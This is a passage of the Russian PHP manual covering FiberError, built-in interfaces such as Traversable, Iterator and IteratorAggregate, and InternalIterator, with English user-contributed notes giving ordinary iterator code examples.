final class FiberError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
/* Наследуемые методы */
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Встроенные интерфейсы и классы

Содержание

  • Traversable
  • Iterator
  • IteratorAggregate
  • InternalIterator
  • Throwable
  • ArrayAccess
  • Serializable
  • Closure
  • stdClass
  • Generator
  • Fiber
  • WeakReference
  • WeakMap
  • Stringable
  • UnitEnum
  • BackedEnum
  • SensitiveParameterValue

Смотрите также Интерфейсы SPL и Предопределённые классы.

User Contributed Notes

articice at ua dot fm 01-Jul-2015 03:24
Note that PHP extensions also provide interfaces you can implement, for example JsonSerializable.
Here is the full list http://php.net/manual/en/refs.basic.other.php


Интерфейс Traversable

(PHP 5, PHP 7, PHP 8)

Введение

Интерфейс, определяющий, является ли класс обходимым (traversable) с использованием foreach.

Абстрактный базовый интерфейс, который не может быть реализован сам по себе. Вместо этого должен реализовываться IteratorAggregate или Iterator.

Обзор интерфейсов

interface Traversable {
}

Этот интерфейс не имеет методов, его единственная цель - быть базовым интерфейсом для всех обходимых классов.

Список изменений

Версия | Описание
7.4.0 | Интерфейс Traversable теперь может быть реализован абстрактными классами. Расширяемые классы должны реализовывать интерфейс Iterator или IteratorAggregate.

Примечания

Замечание:

Внутренние (встроенные) классы, реализующие этот интерфейс, могут быть использованы в конструкции foreach и не обязаны реализовывать интерфейс IteratorAggregate или Iterator.

Замечание:

До версии PHP 7.4.0 этот внутренний интерфейс движка не мог быть реализован в PHP-скриптах. Вместо него следует использовать либо интерфейс IteratorAggregate, либо Iterator.

User Contributed Notes

alan dot bem at gmail dot com 21-Sep-2018 08:27
Actually you can use `Traversable` within your php scripts - you can use it to enforce iterability on user-land objects.

<?php

interface Stream implements \Traversable {}

class InMemoryStream implements IteratorAggregate, Stream
{
    public function getIterator() {}
}

$stream = new InMemoryStream();
?>

In case you'd forgot about implementing `IteratorAggregate` or `Iterator` interfaces, fatal error will be raised when instantiating objects in question.

<?php

interface Stream implements \Traversable {}

class InMemoryStream implements Stream {}

$stream = new InMemoryStream(); // Fatal error: Class InMemoryStream must implement interface Traversable as part of either Iterator or IteratorAggregate in Unknown on line 0
?>
douglas at reith dot com dot au 26-Jun-2017 08:09
The PHP7 iterable pseudo type will match both Traversable and array. Great for return type-hinting so that you do not have to expose your Domain to Infrastructure code, e.g. instead of a Repository returning a Cursor, it can return hint 'iterable':
<?php
UserRepository::findUsers(): iterable
?>

Link: http://php.net/manual/en/migration71.new-features.php#migration71.new-features.iterable-pseudo-type

Also, instead of:
<?php
    if( !is_array( $items ) && !$items instanceof Traversable )
        //Throw exception here
?>

You can now do with the is_iterable() method:
<?php
    if ( !is_iterable( $items ))
        //Throw exception here
?>

Link:  http://php.net/manual/en/function.is-iterable.php
cobaltbluedw 30-Dec-2015 09:50
NOTE:  While objects and arrays can be traversed by foreach, they do NOT implement "Traversable", so you CANNOT check for foreach compatibility using an instanceof check.

Example:

$myarray = array('one', 'two', 'three');
$myobj = (object)$myarray;

if ( !($myarray instanceof \Traversable) ) {
    print "myarray is NOT Traversable";
}
if ( !($myobj instanceof \Traversable) ) {
    print "myobj is NOT Traversable";
}

foreach ($myarray as $value) {
    print $value;
}
foreach ($myobj as $value) {
    print $value;
}

Output:
myarray is NOT Traversable
myobj is NOT Traversable
one
two
three
one
two
three
ajf at ajf dot me 23-Dec-2014 12:22
Note that all objects can be iterated over with foreach anyway and it'll go over each property. This just describes whether or not the class implements an iterator, i.e. has custom behaviour.
kevinpeno at gmail dot com 02-Aug-2010 10:06
While you cannot implement this interface, you can use it in your checks to determine if something is usable in for each. Here is what I use if I'm expecting something that must be iterable via foreach.

<?php
    if( !is_array( $items ) && !$items instanceof Traversable )
        //Throw exception here
?>


Интерфейс Iterator

(PHP 5, PHP 7, PHP 8)

Введение

Интерфейс для внешних итераторов или объектов, которые могут повторять себя изнутри.

Обзор интерфейсов

interface Iterator extends Traversable {
/* Методы */
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
}

Предопределённые итераторы

PHP уже предоставляет некоторые итераторы для многих ежедневных задач. Смотрите список итераторов SPL для более детальной информации.

Примеры

Пример #1 Основы использования

Этот пример демонстрирует в каком порядке вызываются методы, когда используется с итератором оператор foreach.

<?php
class myIterator implements Iterator {
private $position = 0;
private $array = array(
"firstelement",
"secondelement",
"lastelement",
);

public function __construct() {
$this->position = 0;
}

public function rewind(): void {
var_dump(__METHOD__);
$this->position = 0;
}

#[\ReturnTypeWillChange]
public function current() {
var_dump(__METHOD__);
return $this->array[$this->position];
}

#[\ReturnTypeWillChange]
public function key() {
var_dump(__METHOD__);
return $this->position;
}

public function next(): void {
var_dump(__METHOD__);
++$this->position;
}

public function valid(): bool {
var_dump(__METHOD__);
return isset($this->array[$this->position]);
}
}

$it = new myIterator;

foreach($it as $key => $value) {
var_dump($key, $value);
echo "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

string(18) "myIterator::rewind"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(0)
string(12) "firstelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(1)
string(13) "secondelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(2)
string(11) "lastelement"

string(16) "myIterator::next"
string(17) "myIterator::valid"

Смотрите также

Смотрите также раздел Итераторы объектов.

Содержание

  • Iterator::current — Возврат текущего элемента
  • Iterator::key — Возвращает ключ текущего элемента
  • Iterator::next — Переходит к следующему элементу
  • Iterator::rewind — Возвращает итератор на первый элемент
  • Iterator::valid — Проверяет корректность текущей позиции

User Contributed Notes

InvisibleSmiley 20-Jul-2022 07:32
If you implemented Iterator methods next() and rewind() by calling array functions next() and reset() and returning their results, be advised that this violates the tentative return types (void in both cases) introduced with PHP 8.1.

You can add the #[\ReturnTypeWillChange] attribute to both method implementations but that will only delay the issue until PHP 9.0 comes around.

Better adapt your implementations now (stop returning anything from these methods) and, if need be, only add the return type declarations later.
Andrew Roffey 09-Feb-2021 10:41
/**
 * Iterate  a directory tree by walking the tree. For each directory in
 * the tree rooted at directory $parent_dir (including $parent_dir
 * itself), it returns $dirpath => array($dirnames, $filenames).
 *
 * $dirpath is a string, the path to the directory. $dirnames is a list
 * of the names of the subdirectories in dirpath (excluding '.' and
 * '..'). $filenames is a list of the names of the non-directory files in
 * $dirpath.
 *
 * Inspired by Python os.walk; see
 * https://docs.python.org/3/library/os.html#os.walk
 * Implemented as an iterator rather than a generator.
 *
 * @return array
 */

class walker implements Iterator {
  private $parent_dir = '';
  private $d = 0; // iterator
  private $dirs = array(); // indexed by iterator
  private $dirstack;
  private $discovered = array(); // indexed by directory
  private $v; // current directory
  private $cur_dirnames = array(); // current subdirs
  private $cur_filenames = array(); // current files in directory

  public function __construct($parent_dir) {
    $this->parent_dir = $parent_dir;
    $this->d = 0;
    $this->dirs[$this->d] = $parent_dir;
    $this->dirstack = new SplStack();
    $this->dirstack->push($parent_dir);
    $this->discovered = array($parent_dir => true);
    $this->v = $parent_dir;
    $this->cur_dirnames = array();
    $this->cur_filenames = array();
    $this->next();
  }

  public function rewind() {
    $this->__construct($this->parent_dir);
  }

  public function current() {
    return array($this->cur_dirnames, $this->cur_filenames);
  }

  public function key() {
    return $this->v;
  }

  public function next() {
    ++$this->d;
    $this->v = $this->dirstack->pop();
    $this->dirs[$this->d] = $this->v;
    $this->cur_dirnames = array();
    $this->cur_filenames = array();
    if (!$dh = opendir($this->v)) {
      // opendir emits E_WARNING if unable to open directory, likely due
      // to a permissions issue or directory removed before we could get
      // there
      return;
    }
    // discover the directories, return directories and files
    while (false !== ($fn = readdir($dh))) {
      if ($fn != '.' && $fn !== '..') {
        $fullfn = $this->v . '/' . $fn;
        if (is_dir($fullfn)) {
      $this->cur_dirnames[] = $fn;
          if (!array_key_exists($fullfn, $this->discovered)) {
            $this->discovered[$fullfn] = true;
        $this->dirstack->push($fullfn);
      }
        } else {
          $this->cur_filenames[] = $fn;
        }
      }
    }
    closedir($dh);
  }

  public function valid() {
    return $this->dirstack->count();
  }
}

$tree = new walker("/tmp");
foreach ($tree as $parent_dir => $nodes) {
  $subdirs = $nodes[0];
  $files = $nodes[1];
  printf("%s\n", $parent_dir);
  if ($subdirs) printf("  %s\n", implode("/\n  ", $subdirs));
  if ($files) printf("  %s\n", implode("\n  ", $files));
  print("\n");
}
sofe2038 at gmail dot com 22-Jul-2020 03:26
The "scalar" restriction on key() is no longer true. A simple example is that Generators can yield non-scalar keys.
jeroen at asystance dot nl 16-Dec-2019 03:57
RocketInABog's seemingly trivial tIterator_array class has one huge problem (which just cost me a couple of hours).

Consider this example, using their class:
<?php
$values = ['one', 'two', 'three'];
foreach ($values as $v) {}
$current = current($values);
// $current === 'one', as you would expect

$iterator = new tIterator_array($values);
foreach ($iterator as $v) {}
$current = $iterator->current();    // do NOT use current($iterator) or key($iterator)!!!
// $current === false, but why?
?>
The problem is that foreach resets arrays, but doesn't call Iterator::rewind on objects!

I also think it's a design mistake that foreach works with Iterator, but current(), key() and end() don't - these iterate over the objects fields.

I just refactored some code to use an Iterator instead of an array, and it broke in several very unexpected ways because of these differences.
shaun at slickdesign dot com dot au 12-Dec-2018 03:09
With a large number of `current`, `next`, `key`, and `reset` array function implementations, care needs to be taken to ensure that deletions and nested loops are accounted for appropriately for each situation.

The following class has been copied from a previous comment and modified to allow it to be used within nested loops.

<?php
# Comment removed for brevity.

class tIterator_array implements Iterator {
  private $myArray;
  // Store each iteration in a separate array.
  private $iterations = [];
  private $i = -1;

  public function __construct( $givenArray ) {
    $this->myArray = $givenArray;
  }
  function rewind() {
    // Rewind is called at the start of the loop. This is where we can append the current array to start our new iteration.
    $this->iterations[] = $this->myArray;
    $this->i++;
    return reset( $this->iterations[ $this->i ] );
  }
  function current() {
    return current( $this->iterations[ $this->i ] );
  }
  function key() {
    return key( $this->iterations[ $this->i ] );
  }
  function next() {
    return next( $this->iterations[ $this->i ] );
  }
  function valid() {
    if ( null === $this->key() ) {
      // Standard valid check. When null is returned the loop has finished, so we decrement the index and remove the latest iteration.
      array_pop( $this->iterations );
      $this->i--;
      return false;
    }
    return true;
  }
}

// Example:
$a = new tIterator_array( [1, 2] );
foreach ( $a as $k => $v ) {
  echo " $k => $v:\n";
  foreach ( $a as $k => $v ) {
    echo "  $k => $v,\n";
  }
}
// Output:
# 0 => 1:
#  0 => 1,
#  1 => 2,
# 1 => 2:
#  0 => 1,
#  1 => 2,

?>
Anonymous 14-Feb-2016 12:51
An interesting fact that I didn't read in the doc:

the key() method is called only if your foreach loop needs it.

For instance, the following loop calls the key() method:

<?php
foreach($it as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

But the following loop doesn't:

<?php
foreach($it as $value) {
    var_dump($value);
    echo "\n";
}
?>
Gilles A 04-Apr-2014 03:41
Examples of use
<?php
class myIterator implements Iterator
    {
    private
        $_array = array();
    public function __construct(array $array)
        {
        $this->_array = $array;
        }
    public function rewind()
        {
        reset($this->_array);
        }
    public function current()
        {
        return current($this->_array);
        }
    public function key()
        {
        return key($this->_array);
        }
    public function next()
        {
        next($this->_array);
        }
    public function valid()
        {
        return $this->key() !== null;
        }
    }

$it = new myIterator(array('foo_1' => 'bar_1','foo_2' => 'bar_2'));

//example 1 : foreach

foreach($it as $key => $value)
    {
    var_dump($key, $value);
    }

//example 2 : while

$it -> rewind();
while($it->valid())
    {
    var_dump($it->key(), $it->current());

    $it->next();
    }

//example 3 : for

for($it->rewind();$it->valid();$it->next())
    {
   var_dump($it->key(), $it->current());
    }
?>
Daniel Lo Nigro 23-Jun-2013 06:33
If you're using PHP 5.5 or above and are creating a simple iterator, consider using a generator function instead. There is significantly less boilerplate code and the code is easier to read. http://au1.php.net/generators
fetidfrog at gmail dot com 10-May-2012 03:11
If you have a custom iterator that may throw an exception in it's current() method, there is no way to catch the exception without breaking a foreach loop.

The following for loop allows you to skip elements for which $iterator->current() throws an exception, rather than breaking the loop.

<?php
for ($iterator->rewind(); $iterator->valid(); $iterator->next()) {
    try {
        $value = $iterator->current();
    } catch (Exception $exception) {
        continue;
    }

    # ...
}
?>
dwlnetnl at users dot sourceforge dot net 02-Oct-2011 02:06
Be aware that when you call a method like current($this) within the Iterator class, the properties of the class are returned and the Iterator's current() isn't called. This is because current() applies to arrays and the Iterator class is then interpretated as an array.
ct 28-Jul-2011 12:00
<?php

/*
 * An implementation of the Iterator
 * with simpleXML to remove a node and generate a new XML file.
 *
 * project.xml file:
 * <?xml version="1.0" encoding="UTF-8"?>
 * ...
 * <data>
 *  <item>
 *      <value>one</value>
 *  </item>
 *  <item>
 *      <value>two</value>
 *  </item>
 *  ...
 * </data>
 *
 */

class parseXML implements Iterator {

    private $position;
    private $xml;
    public $item;

    public function __construct() {

        $this->position = 0;
        $this->xml = simplexml_load_file('project.xml');

    }

    public function unsetItem() {

        foreach ($this as $key => $value) {

            if ($value->value == $this->item ) {

                unset($this->xml->data->item[$key]);

            }
        }

        $this->mkXML();
    }

    public function mkXML() {

        file_put_contents('project.xml', $this->xml->asXML() );

    }

    function rewind() {
        $this->position = 0;
    }

    function current() {
        return $this->xml->data->item[$this->position];
    }

    function key() {
        return $this->position;
    }

    function next() {
        ++$this->position;
    }

    function valid() {
        return isset($this->xml->data->item[$this->position]);
    }

}

$itemRemove = new parseXML();

$itemRemove->item = "one";

$itemRemove->unsetItem();

?>
geompse at gmail dot com 03-Jul-2011 06:43
Be carefull with Iterator when using nested loops or deleting items inside the collection while looping over it.
It can be tricky to detect.
This unexpected behavior is pertinent if you think about it long enough.

<?php

foreach($it as $key => $value)
    echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach($it as $key => $value)
        echo $value;
#output: value1, value2, value3

foreach($it as $key => $value)
    foreach(clone $it as $key => $value)
        echo $value;
#output: value1, value2, value3, value1, value2, value3, value1, value2, value3

foreach($it as $key => $value)
{
    echo $value;
    array_shift($it->values);
}
#ouput: value1, value3

?>
kent at marketacumen dot com 13-Dec-2010 01:15
For Iterators implement database queries, what I've found is that if you want to chain multiple iterators together using a "MultipleIterator" then you *do not* want ::rewind() to actually execute your query, especially if it's expensive.

Instead, what I've done is implement that portion in "valid."

e.g.

<?php
class Database_Result_Iterator {
    ...
    private $_db_resource = null;
    private $_loaded = false;
    private $_valid = false;

    function rewind() {
        if ($this->_db_resource) {
            mysql_free($this->_db_resource);
            $this->_db_resource = null;
        }
        $this->_loaded = false;
        $this->_valid = false;
    }

    function valid() {
        if ($this->_loaded) {
            $this->load();
        }
        return $this->_valid;
    }

    private function load() {
        $this->_db_resource = mysql_query(...);
        $this->_loaded = true;
        $this->next(); // Sets _valid
    }
}
?>

That way if you chain multiple queries in a "MultipleIterator" together, the "rewind" call (which rewinds all iterators at once) does not execute every query at once.

In addition, I found that the MultipleIterator may now work best for other reasons, but still, the above is a good idea to postpone queries until the last possible moment they are needed.
robert_e_lee at dell dot com 11-Mar-2010 10:08
Order of operations when using a foreach loop:

1. Before the first iteration of the loop, Iterator::rewind() is called.
2. Before each iteration of the loop, Iterator::valid() is called.
3a. It Iterator::valid() returns false, the loop is terminated.
3b. If Iterator::valid() returns true, Iterator::current() and
Iterator::key() are called.
4. The loop body is evaluated.
5. After each iteration of the loop, Iterator::next() is called and we repeat from step 2 above.

This is roughly equivalent to:

<?php
$it->rewind();

while ($it->valid())
{
    $key = $it->key();
    $value = $it->current();

    // ...

    $it->next();
}
?>

The loop isn't terminated until Iterator::valid() returns false or the body of the loop executes a break statement.

The only two methods that are always executed are Iterator::rewind() and Iterator::valid() (unless rewind throws an exception).

The Iterator::next() method need not return anything. It is defined as returning void. On the other hand, sometimes it is convenient for this method to return something, in which case you can do so if you want.

If your iterator is doing something expensive, like making a database query and iterating over the result set, the best place to make the query is probably in the Iterator::rewind() implementation.

In this case, the construction of the iterator itself can be cheap, and after construction you can continue to set the properties of the query all the way up to the beginning of the foreach loop since the
Iterator::rewind() method isn't called until then.

Things to keep in mind when making a database result set iterator:

* Make sure you close your cursor or otherwise clean up any previous query at the top of the rewind method. Otherwise your code will break if the same iterator is used in two consecutive foreach loops when the first loop terminates with a break statement before all the results are iterated over.

* Make sure your rewind() implementation tries to grab the first result so that the subsequent call to valid() will know whether or not the result set is empty. I do this by explicitly calling next() from the end of my rewind() implementation.

* For things like result set iterators, there really isn't always a "key" that you can return, unless you know you have a scalar primary key column in the query. Unfortunately, there will be cases where either the iterator doesn't know the primary key column because it isn't providing the query, the nature of the query is such that a primary key isn't applicable, the iterator is iterating over a table that doesn't have one, or the iterator is iterating over a table that has a compound primary key. In these cases, key() can return either:
the row index (based on a simple counter that you provide), or can simply return null.

Iterators can also be used to:

* iterate over the lines of a file or rows of a CSV file
* iterate over the characters of a string
* iterate over the tokens in an input stream
* iterate over the matches returned by an xpath expression
* iterate over the matches returned by a regexp
* iterate over the files in a folder
* etc...
Anthony Sterling 17-Sep-2009 02:20
Here's a Fibonacci example using the formula, rather than addition.

<?php
/**
 * @author    Anthony Sterling
 */
class FibonacciSequence implements Iterator
{
    protected
        $limit        = 0;

    protected
        $key        = 0;

    public function __construct($limit = 0)
    {
        $this->limit = (integer)$limit;
    }

    public function current()
    {
        return round(
            (pow(((1 + sqrt(5)) / 2), $this->key) - pow((-1 / (1 + sqrt(5)) / 2), $this->key)) / sqrt(5),
            null
        );
    }

    public function key()
    {
        return $this->key;
    }

    public function next()
    {
        $this->key++;
    }

    public function rewind()
    {
        $this->key = 0;
    }

    public function valid()
    {
        return $this->key < $this->limit;
    }
}

foreach(new FibonacciSequence() as $number)
{
    printf(
        '%d<br />',
        $number
    );
}
/*
    0
    1
    1
    2
    3
    5
    8
    13
    21
    34
    55
    89
    144
    233
    377
    610
    987
    1597
    2584
    4181
    6765
    10946
    17711
    28657
    46368
    75025
    121393
    196418
    317811
    514229
*/
?>

Anthony.
Geoffrey Sneddon 23-May-2009 10:42
So, playing around with iterators in PHP (coming from languages where I'm spoiled with generators to do things like this), I wrote a quick piece of code to give the Fibonacci sequence (to infinity, though only the first terms up to F_{10} are output).

<?php

class Fibonacci implements Iterator {
    private $previous = 1;
    private $current = 0;
    private $key = 0;

    public function current() {
        return $this->current;
    }

    public function key() {
        return $this->key;
    }

    public function next() {
        $newprevious = $this->current;
        $this->current += $this->previous;
        $this->previous = $newprevious;
        $this->key++;
    }

    public function rewind() {
        $this->previous = 1;
        $this->current = 0;
        $this->key = 0;
    }

    public function valid() {
        return true;
    }
}

$seq = new Fibonacci;
$i = 0;
foreach ($seq as $f) {
    echo "$f\n";
    if ($i++ === 10) break;
}
?>
RocketInABog at techno-monks dot net 11-May-2009 04:35
<?php
# - Here is an implementation of the Iterator interface for arrays
#     which works with maps (key/value pairs)
#     as well as traditional arrays
#     (contiguous monotonically increasing indexes).
#   Though it pretty much does what an array
#     would normally do within foreach() loops,
#     this class may be useful for using arrays
#     with code that generically/only supports the
#     Iterator interface.
#  Another use of this class is to simply provide
#     object methods with tightly controlling iteration of arrays.

class tIterator_array implements Iterator {
  private $myArray;

  public function __construct( $givenArray ) {
    $this->myArray = $givenArray;
  }
  function rewind() {
    return reset($this->myArray);
  }
  function current() {
    return current($this->myArray);
  }
  function key() {
    return key($this->myArray);
  }
  function next() {
    return next($this->myArray);
  }
  function valid() {
    return key($this->myArray) !== null;
  }
}

?>
mike dot thornton at firstroi dot com 05-May-2009 01:40
It's important to note that following won't work if you have null values.

<?php
    function valid() {
        var_dump(__METHOD__);
        return isset($this->array[$this->position]);
    }
?>

Other examples have shown the following which won't work if you have false values:

<?php
    function valid() {
        return $this->current() !== false;
    }
?>

Instead use:

<?php
    function valid() {
        return array_key_exists($this->array, $this->position);
    }
?>

Or the following if you do not store the position.

<?php
    public function valid() {
        return !is_null(key($this->array));
    }
?>


Возврат текущего элемента

  • « Iterator
  • Iterator::key »
  • PHP Manual
  • Iterator
  • Возврат текущего элемента

Iterator::current

(PHP 5, PHP 7, PHP 8)

Iterator::current — Возврат текущего элемента

Описание

public Iterator::current(): mixed

Возвращает текущий элемент.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Может возвращать любой тип.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ключ текущего элемента

  • « Iterator::current
  • Iterator::next »
  • PHP Manual
  • Iterator
  • Возвращает ключ текущего элемента

Iterator::key

(PHP 5, PHP 7, PHP 8)

Iterator::key — Возвращает ключ текущего элемента

Описание

public Iterator::key(): mixed

Возвращает ключ текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает скалярное значение (scalar) в случае успешного выполнения или null в случае возникновения ошибки.

Ошибки

Создаёт ошибку уровня E_NOTICE в случае возникновения ошибки.

User Contributed Notes

sofe2038 at gmail dot com 26-Aug-2020 04:26
This function may return any type, not just scalar, for some Iterator types. In particular, it is very trivial to write a generator function that yields arbitrary keys:

<?php
function foo() {
  yield null => 1;
  yield new stdclass => 2;
}
?>
michaelgranados at gmail dot com 26-Jun-2013 03:46
Since PHP 5.5.X foreach can accept non scalar items. So the return can be anything ;)
Lszl Lajos Jnszky 14-Mar-2012 12:34
And converts everything to integer except string, so in php the post process could be:

    public function key() {
        $yourKey = $this->createYourKey();
        if (is_object($yourKey) || is_array($yourKey))
            throw new Exception('Array and Object not allowed.');
        elseif (is_string($yourKey))
            return $yourKey;
        else
            return (int) $yourKey;
    }


Переходит к следующему элементу

  • « Iterator::key
  • Iterator::rewind »
  • PHP Manual
  • Iterator
  • Переходит к следующему элементу

Iterator::next

(PHP 5, PHP 7, PHP 8)

Iterator::next — Переходит к следующему элементу

Описание

public Iterator::next(): void

Передвигает текущую позицию к следующему элементу.

Замечание:

Метод вызывается после каждой итерации foreach.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Любое возвращаемое значение игнорируется.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает итератор на первый элемент

  • « Iterator::next
  • Iterator::valid »
  • PHP Manual
  • Iterator
  • Возвращает итератор на первый элемент

Iterator::rewind

(PHP 5, PHP 7, PHP 8)

Iterator::rewind — Возвращает итератор на первый элемент

Описание

public Iterator::rewind(): void

Возвращает итератор обратно на первый элемент.

Замечание:

В начале цикла foreach этот метод вызывается первым. Метод не будет вызван после цикла foreach.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Любое возвращаемое значение игнорируется.

User Contributed Notes

al 24-Feb-2016 03:56
Builtin PHP function is »reset«.

Don't mix this with builtin function »rewind« which operates on file handle.


Проверяет корректность текущей позиции

  • « Iterator::rewind
  • IteratorAggregate »
  • PHP Manual
  • Iterator
  • Проверяет корректность текущей позиции

Iterator::valid

(PHP 5, PHP 7, PHP 8)

Iterator::valid — Проверяет корректность текущей позиции

Описание

public Iterator::valid(): bool

Метод вызывается после функций Iterator::rewind() и Iterator::next() чтобы проверить, допустима ли текущая позиция.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращаемое значение будет приведено к логическому типу (bool) и затем использовано. Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Voitcus at gmail dot com 23-Mar-2013 09:08
If your class implements also ArrayAccess interface, you could use as valid() body

function valid(){
   return $this->offsetExists($this->position);
}
seva dot lapsha at gmail dot com 01-Aug-2009 06:19
If Iterator::valid() returns false, the foreach() loop will be terminated.


Интерфейс IteratorAggregate

(PHP 5, PHP 7, PHP 8)

Введение

Интерфейс для создания внешнего итератора.

Обзор интерфейсов

interface IteratorAggregate extends Traversable {
/* Методы */
public getIterator(): Traversable
}

Пример #1 Основы использования

<?php
class myData implements IteratorAggregate {
public $property1 = "Первое общедоступное свойство";
public $property2 = "Второе общедоступное свойство";
public $property3 = "Третье общедоступное свойство";
public $property4 = "";

public function __construct() {
$this->property4 = "последнее свойство";
}

public function getIterator(): Traversable {
return new ArrayIterator($this);
}
}

$obj = new myData;

foreach($obj as $key => $value) {
var_dump($key, $value);
echo "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

string(9) "property1"
string(56) "Первое общедоступное свойство"

string(9) "property2"
string(56) "Второе общедоступное свойство"

string(9) "property3"
string(56) "Третье общедоступное свойство"

string(9) "property4"
string(35) "последнее свойство"

Содержание

  • IteratorAggregate::getIterator — Получает внешний итератор

User Contributed Notes

Martin Speer 04-Apr-2019 08:40
You can use yield from in getIterator in recent PHP 7 versions:

<?php

class Example implements \IteratorAggregate
{
  protected $data = [];

  public function __construct(array $data)
  {
    $this->data = $data;
  }

  public function getIterator()
  {
    yield from $this->data;
  }
}

$test = new Example([1, 2, 3]);

foreach ($test as $node) {
  echo $test, PHP_EOL;
}

/*
 * Outputs:
 *
 * 1
 * 2
 * 3
 */ ?>
trumbull dot j at gmail dot com 14-May-2017 12:42
It might seem obvious, but you can return a compiled generator from your IteratorAggregate::getIterator() implementation.

<?php
class Collection implements IteratorAggregate
{
    private $items = [];

    public function __construct($items = [])
    {
        $this->items = $items;
    }

    public function getIterator()
    {
        return (function () {
            while(list($key, $val) = each($this->items)) {
                yield $key => $val;
            }
        })();
    }
}

$data = [ 'A', 'B', 'C', 'D' ];
$collection = new Collection($data);

foreach ($collection as $key => $val) {
    echo sprintf("[%s] => %s\n", $key, $val);
}
?>
ribeirocfb at gmail dot com 24-Aug-2015 11:21
Example of the Iterator Pattern

<?php

namespace DesignPaterns;

class BookCollection implements \IteratorAggregate
{
    private $a_titles = array();

    public function getIterator()
    {
        return new BookIterator($this);
    }

    public function addTitle($string)
    {
        $this->a_titles[] = $string;
    }

    public function getTitle($key)
    {
        if (isset($this->a_titles[$key])){
            return $this->a_titles[$key];
        }
        return null;
    }

    public function is_empty()
    {
        return empty($a_titles);
    }
}

<?php

namespace DesignPaterns;

class BookIterator implements \Iterator
{
    private $i_position = 0;
    private $booksCollection;

    public function __construct(BookCollection $booksCollection)
    {
        $this->booksCollection = $booksCollection;
    }

    public function current()
    {
        return $this->booksCollection->getTitle($this->i_position);
    }

    public function key()
    {
        return $this->i_position;
    }

    public function next()
    {
        $this->i_position++;
    }

    public function rewind()
    {
        $this->i_position = 0;
    }

    public function valid()
    {
        return !is_null($this->booksCollection->getTitle($this->i_position));
    }
}

<?php require 'vendor/autoload.php';

use DesignPaterns\BookCollection;

$booksCollection = new BookCollection();
$booksCollection->addTitle('Design Patterns');
$booksCollection->addTitle('PHP7 is the best');
$booksCollection->addTitle('Laravel Rules');
$booksCollection->addTitle('DHH Rules');

foreach($booksCollection as $book){
    var_dump($book);
}

/* === Output ===
 * string(15) "Design Patterns"
 * string(16) "PHP7 is the best"
 * string(13) "Laravel Rules"
 * string(9) "DHH Rules"
*/
Lubaev.K 16-Jun-2013 11:49
<?php
// IteratorAggregate
// Create indexed and associative arrays.

class myData implements IteratorAggregate {

    private $array = [];
    const TYPE_INDEXED = 1;
    const TYPE_ASSOCIATIVE = 2;

    public function __construct( array $data, $type = self::TYPE_INDEXED ) {
        reset($data);
        while( list($k, $v) = each($data) ) {
            $type == self::TYPE_INDEXED ?
            $this->array[] = $v :
            $this->array[$k] = $v;
        }
    }

    public function getIterator() {
        return new ArrayIterator($this->array);
    }

}

$obj = new myData(['one'=>'php','javascript','three'=>'c#','java',], /*TYPE 1 or 2*/ );

foreach($obj as $key => $value) {
    var_dump($key, $value);
    echo PHP_EOL;
}

// if TYPE == 1
#int(0)
#string(3) "php"
#int(1)
#string(10) "javascript"
#int(2)
#string(2) "c#"
#int(3)
#string(4) "java"

// if TYPE == 2
#string(3) "one"
#string(3) "php"
#int(0)
#string(10) "javascript"
#string(5) "three"
#string(2) "c#"
#int(1)
#string(4) "java"
?>

Good luck!
Tab Atkins 29-Apr-2012 02:11
Note that, at least as of 5.3, you still aren't allowed to return a normal Array from getIterator().

In some places, the docs wrap the array into an ArrayObject and return that.  DON'T DO IT.  ArrayObject drops any empty-string keys on the floor when you iterate over it (again, at least as of 5.3).

Use ArrayIterator instead.  I wouldn't be surprised if it didn't have its own set of wonderful bugs, but at the very least it works correctly when you use it with this method.


Получает внешний итератор

  • « IteratorAggregate
  • InternalIterator »
  • PHP Manual
  • IteratorAggregate
  • Получает внешний итератор

IteratorAggregate::getIterator

(PHP 5, PHP 7, PHP 8)

IteratorAggregate::getIterator — Получает внешний итератор

Описание

public IteratorAggregate::getIterator(): Traversable

Возвращает внешний итератор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает экземпляр объекта, реализующий Iterator или Traversable

Ошибки

Выбрасывает исключение Exception в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Класс InternalIterator

(PHP 8)

Введение

Класс для упрощения реализации интерфейса IteratorAggregate для внутренних классов.

Обзор классов

final class InternalIterator implements Iterator {
/* Методы */
private __construct()
public current(): mixed
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
}

Содержание

  • InternalIterator::__construct — Закрытый конструктор для запрета прямой инициализации
  • InternalIterator::current — Возвращает текущий элемент
  • InternalIterator::key — Возвращает ключ текущего элемента
  • InternalIterator::next — Переходит к следующему элементу
  • InternalIterator::rewind — Перематывает итератор к первому элементу
  • InternalIterator::valid — Проверяет, действительна ли текущая позиция

User Contributed Notes

There are no user contributed notes for this page.


Закрытый конструктор для запрета прямой инициализации

  • « InternalIterator
  • InternalIterator::current »
  • PHP Manual
  • InternalIterator
  • Закрытый конструктор для запрета прямой инициализации

InternalIterator::__construct

